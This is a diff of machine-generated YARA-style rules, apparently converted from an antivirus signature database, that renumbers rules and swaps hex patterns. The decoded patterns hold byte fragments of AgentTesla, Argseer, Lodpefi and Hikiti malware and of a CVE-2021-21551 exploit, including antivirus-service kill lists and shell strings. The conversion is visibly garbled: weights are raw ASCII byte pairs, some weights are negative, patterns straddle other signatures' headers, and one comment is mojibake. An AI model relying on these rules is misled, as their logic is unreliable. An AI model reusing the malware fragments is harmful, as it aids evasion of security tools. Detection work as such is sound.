1)*13129+(#a_72_5 & 1)*29552) >=8 } -rule _InfrastructureShared_14828{ +rule _InfrastructureShared_15800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -170677,7 +182056,7 @@ rule _InfrastructureShared_14828{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*18547+(#a_6d_2 & 1)*18464+(#a_65_4 & 1)*385+(#a_01_5 & 1)*29281+(#a_21_6 & 1)*13369+(#a_65_7 & 1)*29801) >=8 } -rule _InfrastructureShared_14829{ +rule _InfrastructureShared_15801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -170694,7 +182073,7 @@ rule _InfrastructureShared_14829{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*-32498+(#a_69_2 & 1)*26485+(#a_65_4 & 1)*385+(#a_00_5 & 1)*24948+(#a_77_6 & 1)*385+(#a_31_7 & 1)*12345+(#a_6e_8 & 1)*27247) >=9 } -rule _InfrastructureShared_14830{ +rule _InfrastructureShared_15802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -170703,32 +182082,52 @@ rule _InfrastructureShared_14830{ $a_44_1 = {67 69 74 59 65 61 72 4d 61 78 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 09 81 01 47 65 74 44 6f 6d 61 69 6e 01 00 25 81 01 24 39 37 34 38 64 64 65 64 2d 65 37 36 61 2d 34 64 63 36 2d 39 30 36 31 2d 63 35 36 39 33 35 63 32 34 66 62 36 01 00 10 81 01 47 65 74 45 78 70 6f } //30548 $a_64_2 = {79 70 65 73 00 00 78 de 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 37 21 4d 54 42 00 01 00 1c 80 01 45 76 65 54 68 65 6d 65 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 80 01 45 76 65 54 68 65 6d 65 } //29810 $a_6d_3 = {74 68 65 72 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 01 48 75 6e 74 65 } //26158 - $a_5f_5 = {00 00 00 78 de 00 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 35 21 4d 54 42 00 01 00 04 00 50 72 6f 54 01 00 0b 00 4d 6f 64 } //0 - $a_3e_6 = {43 5f 44 01 00 04 00 4b 69 63 6b 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 06 80 01 48 75 6e 74 65 72 01 00 0b 80 01 52 65 74 75 } //27765 - $a_72_7 = {6f 72 01 00 08 80 01 44 6f 74 73 43 65 6c 6c 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 de 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 } //28274 - $a_61_8 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 49 59 32 21 4d 54 42 00 01 00 17 81 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 } //28530 + $a_5f_5 = {00 00 00 78 de 00 00 0b 00 0b 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 67 73 65 65 72 2e 41 67 65 6e 74 2e 4a 21 64 68 61 00 07 00 0c 01 44 41 4e 54 45 4d 41 52 4b 45 52 } //0 + $a_6d_7 = {65 6e 67 00 01 00 08 01 6d 73 73 65 6e 73 65 00 01 00 09 01 61 76 61 73 74 73 76 63 00 01 00 0a 01 64 77 73 65 72 76 69 63 65 00 01 00 0f 01 6e 6f 72 74 6f 6e 73 65 63 75 72 69 74 79 00 01 00 11 01 63 6f 72 65 73 65 72 76 69 63 65 73 68 65 6c 6c 00 01 00 08 01 61 76 67 75 61 72 64 00 01 00 0b 01 66 73 68 6f 73 74 65 72 33 32 00 01 00 07 01 76 } //27905 + $a_72_8 = {00 01 00 0f 01 61 64 61 77 61 72 65 73 65 72 76 69 63 65 00 01 00 07 01 61 76 67 73 76 63 00 00 00 78 de 00 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 35 21 4d 54 42 00 01 00 04 00 50 72 6f 54 01 00 0b 00 4d 6f 64 75 6c 65 3e } //29555 condition: - ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*30548+(#a_64_2 & 1)*29810+(#a_6d_3 & 1)*26158+(#a_5f_5 & 1)*0+(#a_3e_6 & 1)*27765+(#a_72_7 & 1)*28274+(#a_61_8 & 1)*28530) >=9 + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*30548+(#a_64_2 & 1)*29810+(#a_6d_3 & 1)*26158+(#a_5f_5 & 1)*0+(#a_6d_7 & 1)*27905+(#a_72_8 & 1)*29555) >=9 } -rule _InfrastructureShared_14831{ +rule _InfrastructureShared_15803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 37 21 4d 54 42 00 01 00 1c 80 01 45 76 65 54 68 65 6d 65 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 80 01 45 76 65 54 68 65 6d 65 2e 66 72 6d } //18467 $a_65_1 = {73 2e 72 65 73 6f 75 72 63 65 73 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 80 01 47 65 74 43 68 61 72 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 06 80 } //29775 - $a_6e_2 = {65 72 01 00 05 00 00 43 5f 44 00 00 00 78 de 00 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 35 21 4d 54 42 00 01 00 04 00 50 72 6f 54 01 00 0b 00 4d 6f 64 75 6c 65 3e 00 43 5f 44 01 00 04 00 4b 69 63 6b 01 00 0f 80 01 67 65 74 5f 50 61 72 61 6d 41 72 72 61 79 30 01 00 12 80 } //18433 - $a_74_3 = {41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 06 80 01 48 75 6e 74 65 72 01 00 0b 80 01 52 65 74 75 72 6e 45 72 72 6f 72 01 00 08 80 01 44 6f 74 73 43 65 6c 6c 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 10 80 01 46 72 } //26369 - $a_61_4 = {65 36 34 53 74 72 69 6e 67 00 00 78 de 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 49 59 32 21 4d 54 42 00 01 00 17 81 } //28015 - $a_62_5 = {67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 25 81 01 24 32 38 62 65 62 38 64 64 2d 37 36 35 31 2d 34 64 30 63 2d 39 } //17409 - $a_2d_6 = {61 30 37 63 33 61 33 62 34 62 62 01 00 06 81 01 54 6f 43 68 61 72 0a 00 20 01 42 00 00 11 75 00 6e 00 69 00 66 00 75 00 5f 00 54 00 65 00 00 0b 78 } //13367 - $a_00_8 = {00 00 78 de 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 4c 4c 49 21 4d 54 42 00 0a 00 6e 02 a2 06 17 28 90 01 04 a2 06 18 72 90 01 03 70 a2 72 90 01 03 70 0b 07 72 90 01 03 70 72 90 01 03 70 6f 90 01 04 0c 08 28 90 01 04 0d 28 90 01 04 09 6f 90 01 04 13 04 11 04 6f 90 01 04 16 9a 13 05 } //111 + $a_6e_2 = {65 72 01 00 05 00 00 43 5f 44 00 00 00 78 de 00 00 0b 00 0b 00 0c 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 67 73 65 65 72 2e 41 67 65 6e 74 2e 4a 21 64 68 61 00 07 00 0c 01 44 41 4e 54 45 4d 41 52 4b 45 52 00 01 00 08 01 6d 73 6d 70 65 6e 67 00 01 00 08 01 6d 73 73 65 6e 73 65 00 01 00 09 01 61 76 61 73 74 73 76 63 00 01 00 } //18433 + $a_77_3 = {65 72 76 69 63 65 00 01 00 0f 01 6e 6f 72 74 6f 6e 73 65 63 75 72 69 74 79 00 01 00 11 01 63 6f 72 65 73 65 72 76 69 63 65 73 68 65 6c 6c 00 01 00 08 01 61 76 67 75 61 72 64 00 01 00 0b 01 66 73 68 6f 73 74 65 72 33 32 00 01 00 07 01 76 73 73 65 72 76 00 01 00 0f 01 61 64 61 77 61 72 65 73 65 72 76 } //266 + $a_00_4 = {01 00 07 01 61 76 67 73 76 63 00 00 00 78 de 00 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 35 21 4d 54 42 00 01 00 04 00 50 72 6f 54 01 00 0b 00 4d 6f 64 75 6c 65 3e 00 43 5f 44 01 00 04 00 4b 69 63 6b 01 00 0f 80 01 67 65 74 } //25449 + $a_72_5 = {6d 41 72 72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 06 80 01 48 75 6e 74 65 72 01 00 0b 80 01 52 65 74 75 72 6e 45 72 72 6f 72 01 00 08 80 01 44 6f 74 73 43 65 6c 6c } //20575 + $a_80_6 = {54 6f 53 74 72 69 6e 67 } //ToString 1 + $a_80_7 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //FromBase64String 1 + $a_de_8 = {00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 49 59 32 21 4d 54 42 00 01 00 17 81 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 10 81 01 46 72 6f 6d } //0 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29775+(#a_6e_2 & 1)*18433+(#a_74_3 & 1)*26369+(#a_61_4 & 1)*28015+(#a_62_5 & 1)*17409+(#a_2d_6 & 1)*13367+(#a_00_8 & 1)*111) >=9 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29775+(#a_6e_2 & 1)*18433+(#a_77_3 & 1)*266+(#a_00_4 & 1)*25449+(#a_72_5 & 1)*20575+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_de_8 & 1)*0) >=9 } -rule _InfrastructureShared_14832{ +rule _InfrastructureShared_15804{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 67 73 65 65 72 2e 41 67 65 6e 74 2e 4a 21 64 68 61 00 07 00 0c 01 44 41 4e 54 45 4d 41 52 4b 45 52 00 01 00 08 01 6d 73 6d 70 65 6e 67 00 01 00 08 01 6d 73 73 65 6e 73 65 00 01 00 09 } //16675 牔橯湡场湩㈳䄯杲敳牥䄮敧瑮䨮搡慨܀ఀ䐁乁䕔䅍䭒剅Āࠀ洁浳数杮Āࠀ洁獳湥敳Āऀ + $a_61_1 = {74 73 76 63 00 01 00 0a 01 64 77 73 65 72 76 69 63 65 00 01 00 0f 01 6e 6f 72 74 6f 6e 73 65 63 75 72 69 74 79 00 01 00 11 01 63 6f 72 65 73 65 72 76 69 63 65 73 68 65 6c 6c 00 01 00 08 01 61 76 67 75 61 72 64 00 01 00 0b 01 66 73 68 6f 73 74 65 72 33 32 00 01 00 07 01 76 73 73 65 72 76 00 01 00 0f 01 61 64 61 77 61 72 65 73 65 72 76 69 63 65 00 01 00 } //24833 + $a_76_2 = {73 76 63 00 00 00 78 de 00 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 35 35 21 4d 54 42 00 01 00 04 00 50 72 6f 54 01 00 0b 00 4d 6f 64 75 6c 65 3e 00 43 5f 44 01 00 04 00 4b 69 63 6b 01 00 0f 80 01 67 65 74 5f 50 61 } //263 + $a_41_3 = {72 61 79 30 01 00 12 80 01 67 65 74 5f 41 72 72 61 79 41 74 74 72 69 62 75 74 65 01 00 0a 80 01 53 74 72 52 65 76 65 72 73 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 06 80 01 48 75 6e 74 65 72 01 00 0b 80 01 52 65 74 75 72 6e 45 72 72 6f 72 01 00 08 80 01 44 6f 74 73 43 65 6c 6c 01 00 08 80 01 54 6f 53 74 72 69 6e 67 01 00 } //24946 + $a_46_4 = {6f } //-32752 o + $a_73_5 = {36 34 53 74 72 69 6e 67 00 00 78 de 00 00 10 00 10 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 49 59 32 21 4d 54 42 00 01 00 17 81 01 44 65 62 75 67 67 65 72 48 69 64 64 65 6e 41 74 74 72 69 62 75 74 65 01 00 10 81 01 47 65 74 } //17005 + $a_6f_6 = {74 65 64 54 79 70 65 73 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 25 81 01 24 32 38 62 65 62 38 64 64 2d 37 36 35 31 2d 34 64 30 63 2d 39 37 34 31 2d 37 61 30 37 63 33 61 33 62 34 62 62 01 00 06 81 01 54 6f 43 68 61 72 0a 00 20 01 42 00 00 11 75 00 6e 00 69 00 66 00 } //30789 + $a_00_7 = {54 00 65 00 00 0b 78 00 74 00 42 00 6f 00 78 00 00 00 78 de 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 4c 4c 49 21 4d 54 42 00 0a 00 6e 02 a2 06 17 28 90 01 04 a2 06 18 72 90 01 03 70 a2 72 90 01 03 70 0b 07 72 } //117 + $a_70_8 = {90 01 03 } //400 + $a_01_9 = {04 0c 08 28 90 01 04 0d 28 90 01 04 09 6f 90 01 04 13 04 11 04 6f 90 01 04 16 9a 13 05 11 05 72 90 01 03 70 6f 90 01 04 13 06 11 06 16 8c 90 01 04 06 6f 90 01 04 26 16 28 90 01 05 72 90 01 03 70 13 07 2b 00 11 07 2a 90 00 02 00 0a 80 01 54 6f 48 65 78 42 79 74 65 73 02 00 10 80 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 02 00 09 80 01 47 65 74 4d 65 74 68 6f 64 02 00 06 80 01 49 6e 76 6f 6b 65 00 00 78 de 00 00 12 00 12 } //28528 + $a_52_11 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 55 21 4d 54 42 00 0a 00 47 02 11 04 16 9a 28 90 01 04 10 01 74 90 01 04 0b 07 72 90 01 03 70 6f 90 01 04 0c 19 8d 90 01 04 25 16 72 90 01 03 70 a2 25 17 7e 90 01 04 a2 25 18 } //21320 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*24833+(#a_76_2 & 1)*263+(#a_41_3 & 1)*24946+(#a_46_4 & 1)*-32752+(#a_73_5 & 1)*17005+(#a_6f_6 & 1)*30789+(#a_00_7 & 1)*117+(#a_70_8 & 1)*400+(#a_01_9 & 1)*28528+(#a_52_11 & 1)*21320) >=11 + +} +rule _InfrastructureShared_15805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -170747,7 +182146,7 @@ rule _InfrastructureShared_14832{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*26369+(#a_61_3 & 1)*28015+(#a_62_4 & 1)*17409+(#a_2d_5 & 1)*13367+(#a_00_7 & 1)*111+(#a_90_8 & 1)*1297+(#a_54_9 & 1)*18467+(#a_90_10 & 1)*6181+(#a_00_11 & 1)*23) >=12 } -rule _InfrastructureShared_14833{ +rule _InfrastructureShared_15806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -170761,7 +182160,7 @@ rule _InfrastructureShared_14833{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_78_3 & 1)*0+(#a_00_5 & 1)*18+(#a_72_6 & 1)*14930) >=16 } -rule _InfrastructureShared_14834{ +rule _InfrastructureShared_15807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -170774,7 +182173,7 @@ rule _InfrastructureShared_14834{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*1025+(#a_13_2 & 1)*5636+(#a_11_4 & 1)*18176) >=18 } -rule _InfrastructureShared_14835{ +rule _InfrastructureShared_15808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -170788,7 +182187,7 @@ rule _InfrastructureShared_14835{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*6181+(#a_00_2 & 1)*23+(#a_54_3 & 1)*28261+(#a_74_5 & 1)*384) >=18 } -rule _InfrastructureShared_14836{ +rule _InfrastructureShared_15809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " @@ -170802,7 +182201,7 @@ rule _InfrastructureShared_14836{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_00_2 & 1)*18984+(#a_90_3 & 1)*2311+(#a_23_4 & 1)*9) >=23 } -rule _InfrastructureShared_14837{ +rule _InfrastructureShared_15810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 09 00 21 " @@ -170818,7 +182217,7 @@ rule _InfrastructureShared_14837{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*27393+(#a_3c_2 & 1)*25972+(#a_00_3 & 1)*53+(#a_90_4 & 1)*1299+(#a_00_6 & 1)*105+(#a_23_7 & 1)*3) >=23 } -rule _InfrastructureShared_14838{ +rule _InfrastructureShared_15811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,35 00 35 00 04 00 21 " @@ -170829,7 +182228,7 @@ rule _InfrastructureShared_14838{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*83) >=53 } -rule _InfrastructureShared_14839{ +rule _InfrastructureShared_15812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -170840,7 +182239,7 @@ rule _InfrastructureShared_14839{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99) >=1 } -rule _InfrastructureShared_14840{ +rule _InfrastructureShared_15813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170850,7 +182249,7 @@ rule _InfrastructureShared_14840{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14841{ +rule _InfrastructureShared_15814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170861,7 +182260,7 @@ rule _InfrastructureShared_14841{ ((#a_46_0 & 1)*16675+(#a_8a_1 & 1)*17801) >=2 } -rule _InfrastructureShared_14842{ +rule _InfrastructureShared_15815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170872,7 +182271,7 @@ rule _InfrastructureShared_14842{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*656) >=2 } -rule _InfrastructureShared_14843{ +rule _InfrastructureShared_15816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170883,7 +182282,7 @@ rule _InfrastructureShared_14843{ ((#a_54_0 & 1)*18467+(#a_bf_1 & 1)*892) >=2 } -rule _InfrastructureShared_14844{ +rule _InfrastructureShared_15817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170893,7 +182292,7 @@ rule _InfrastructureShared_14844{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14845{ +rule _InfrastructureShared_15818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170904,7 +182303,7 @@ rule _InfrastructureShared_14845{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-15560) >=2 } -rule _InfrastructureShared_14846{ +rule _InfrastructureShared_15819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170915,19 +182314,31 @@ rule _InfrastructureShared_14846{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*257) >=2 } -rule _InfrastructureShared_14847{ +rule _InfrastructureShared_15820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_63_0 = {64 6f 6f 72 3a 57 69 6e 33 32 2f 48 69 6b 69 74 69 2e 4b 21 64 68 61 00 01 00 50 00 25 00 63 00 55 00 70 00 6c 00 6f 00 61 00 64 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 21 00 20 00 5b 00 52 00 65 00 6d 00 6f 00 74 00 65 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 64 00 65 } //16931 $a_00_2 = {5d 00 01 00 22 00 43 00 61 00 6e 00 27 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 73 00 68 00 65 00 6c 00 6c 00 21 00 01 00 12 00 44 00 47 00 47 00 59 00 44 00 53 00 59 00 52 00 4c 00 01 00 0a 01 44 47 47 59 44 53 59 52 4c 00 01 00 17 00 25 63 25 63 25 63 2e 65 78 65 20 2f 63 20 64 65 6c 20 22 25 } //37 - $a_00_4 = {00 03 00 03 00 03 00 21 23 45 78 70 6c 6f 69 74 3a 43 56 45 2d 32 30 32 31 2d 32 31 35 35 31 00 01 00 41 03 48 89 5c 24 08 4c 89 4c 24 20 4c 89 44 24 18 55 56 57 48 8b ec 48 83 ec 90 01 01 40 8a f2 8b d9 49 8b d1 49 8b c8 e8 90 01 04 8b cb e8 90 01 04 48 8b 4d 30 8b f8 4c 8b 81 88 00 00 00 41 3b 90 00 01 00 29 03 48 89 5c 24 08 57 48 83 ec 30 8b 11 48 8b d9 33 c9 41 b8 00 10 00 00 44 8d 90 01 02 ff 15 90 01 04 48 8b f8 48 85 c0 90 00 01 00 48 03 48 89 5c 24 10 56 48 83 ec 40 48 8b f1 e8 90 01 04 85 c0 0f 90 01 05 33 c0 48 8d 90 01 05 48 89 44 24 30 45 33 c9 89 44 24 28 45 33 c0 ba 00 00 00 c0 c7 44 24 20 03 00 00 00 ff 15 90 01 04 48 8b d8 48 83 f8 ff 90 00 00 } //30720 + $a_00_4 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 64 70 65 66 69 2e 41 00 01 00 42 03 48 89 c1 e8 90 01 04 48 89 45 e0 c7 45 dc 01 00 00 00 48 83 7d e0 00 0f 84 90 01 01 00 00 00 c7 45 d8 90 01 04 48 8d 05 90 01 04 48 89 45 d0 48 8b 55 d0 48 8b 45 e0 41 b8 90 01 04 48 89 c1 e8 90 00 01 00 2d 03 48 89 45 c8 48 83 7d c8 00 74 90 01 01 48 8b 45 c8 48 8b 00 48 05 88 00 00 00 48 8b 18 48 8d 0d 90 01 04 48 8b 05 90 01 04 ff d0 90 00 01 00 3f 01 47 43 43 3a 20 28 78 38 36 5f 36 34 2d 70 6f 73 69 78 2d 73 6a 6c 6a 2d 72 65 76 30 2c 20 42 75 69 6c 74 20 62 79 20 4d 69 6e 47 57 2d 57 36 34 20 70 72 6f 6a 65 63 74 29 20 38 2e 31 2e 30 00 } //30720 condition: ((#a_63_0 & 1)*16931+(#a_00_2 & 1)*37+(#a_00_4 & 1)*30720) >=2 } -rule _InfrastructureShared_14848{ +rule _InfrastructureShared_15821{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 64 70 65 66 69 2e 41 00 01 00 42 03 48 89 c1 e8 90 01 04 48 89 45 e0 c7 45 dc 01 00 00 00 48 83 7d e0 00 0f 84 90 01 01 00 00 00 c7 45 d8 90 01 04 48 8d 05 90 01 04 48 89 45 d0 48 8b } //16675 + $a_8b_1 = {e0 41 b8 90 01 04 48 89 c1 e8 90 00 01 00 2d 03 48 89 45 c8 48 83 7d c8 00 74 90 01 01 48 8b 45 c8 48 8b 00 48 05 88 00 00 00 48 8b 18 48 8d 0d 90 01 04 48 8b 05 90 01 04 ff d0 90 00 01 00 3f 01 47 43 43 3a 20 28 78 } //-12203 + $a_36_2 = {2d 70 6f 73 69 78 2d 73 6a 6c 6a 2d 72 65 76 30 2c 20 42 75 69 6c 74 20 62 79 20 4d 69 6e 47 57 2d 57 36 34 20 70 72 6f 6a 65 63 74 29 20 38 2e 31 2e 30 00 00 78 df 00 00 03 00 03 00 03 00 21 23 45 78 70 6c 6f 69 74 3a 43 56 45 2d 32 30 32 31 2d 32 31 35 35 31 00 01 00 41 03 48 89 5c } //13880 + condition: + ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*-12203+(#a_36_2 & 1)*13880) >=3 + +} +rule _InfrastructureShared_15822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -170939,7 +182350,7 @@ rule _InfrastructureShared_14848{ ((#a_70_0 & 1)*17699+(#a_01_1 & 1)*5631+(#a_09_2 & 1)*-23915) >=3 } -rule _InfrastructureShared_14849{ +rule _InfrastructureShared_15823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -170950,7 +182361,7 @@ rule _InfrastructureShared_14849{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*-28672) >=3 } -rule _InfrastructureShared_14850{ +rule _InfrastructureShared_15824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -170961,7 +182372,7 @@ rule _InfrastructureShared_14850{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-17408) >=3 } -rule _InfrastructureShared_14851{ +rule _InfrastructureShared_15825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -170973,7 +182384,7 @@ rule _InfrastructureShared_14851{ ((#a_4c_0 & 1)*21539+(#a_06_1 & 1)*-28469+(#a_02_2 & 1)*-28480) >=3 } -rule _InfrastructureShared_14852{ +rule _InfrastructureShared_15826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ 